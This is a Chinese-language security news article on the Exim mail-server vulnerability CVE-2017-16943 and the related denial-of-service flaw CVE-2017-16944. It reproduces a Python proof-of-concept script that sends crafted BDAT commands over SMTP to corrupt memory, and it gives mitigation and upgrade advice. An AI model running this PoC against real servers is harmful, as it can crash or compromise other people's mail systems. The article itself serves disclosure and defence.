互聯(lián)網(wǎng)半數(shù)郵件服務器可被遠程代碼執(zhí)行，超40萬臺服務器受影響

臺灣安全公司 DEVCORE 的研究人員 Meh 于近期發(fā)現(xiàn)互聯(lián)網(wǎng)郵件傳輸代理（MTA）軟件 Exim 存在一處關鍵漏洞（CVE-2017-16943），允許黑客向 SMTP 服務器發(fā)送 BDAT 命令，從而觸發(fā)漏洞后遠程執(zhí)行任意代碼。調(diào)查顯示，有超過 40 萬臺服務器的分塊功能已遭該漏洞影響。

Exim 是劍橋大學開發(fā)的一款基于 GPL 協(xié)議的開放源代碼軟件，其主要用于連接互聯(lián)網(wǎng) Unix 系統(tǒng)的消息傳輸代理（MTA）服務器。目前，據(jù)三月份進行的一百多萬臺郵件服務器的分析表明，超過 56% 的用戶正在使用 Exim 軟件。

調(diào)查顯示，該漏洞由一臺公共bug跟蹤器檢測發(fā)現(xiàn)并在補丁發(fā)布之前意外披露。一旦黑客惡意利用，其系統(tǒng)將會處于崩潰狀態(tài)，因為該函數(shù)指針的receive_getc并未被重置。以下是該漏洞部分概念驗證代碼（PoC）顯示：

# pip install pwntools
from pwn import *

r = remote(‘localhost’, 25)

r.recvline()
r.sendline(“EHLO test”)
r.recvuntil(“250 HELP”)
r.sendline(“MAIL FROM:<[email protected]>”)
r.recvline()
r.sendline(“RCPT TO:<[email protected]>”)
r.recvline()
#raw_input()
r.sendline(‘a(chǎn)’*0x1100+’/x7f’)
#raw_input()
r.recvuntil(‘command’)
r.sendline(‘BDAT 1’)
r.sendline(‘:BDAT /x7f’)
s = ‘a(chǎn)’*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ‘:/r/n’)
r.recvuntil(‘command’)
#raw_input()
r.send(‘/n’)
r.interactive()
exit()

雖然跟蹤器會警示 Exim 軟件存在漏洞，但根據(jù)用戶習慣來看告警通知極有可能被忽略。不過，現(xiàn)開發(fā)人員已采取安全措施防止此類事件惡意發(fā)展，并提醒運行 Exim 4.88 或更高版本的用戶將其主要配置參數(shù) chunking_advertise_hosts 設置為空值，從而禁用 ESMTP 擴展、使 BDAT 無法使用，以便關閉易受攻擊程序。

另外，研究人員發(fā)現(xiàn)的另一個漏洞（CVE-2017-16944）能夠允許黑客利用 BDAT 命令與惡意函數(shù)遠程開展拒絕服務（DoS）攻擊。該漏洞影響了 Exim 4.88 和 4.89 中的 SMTP 后臺進程。對此，研究人員建議系統(tǒng)管理人員盡快更新至 Exim 4.90 版本，以防可能的黑客惡意攻擊。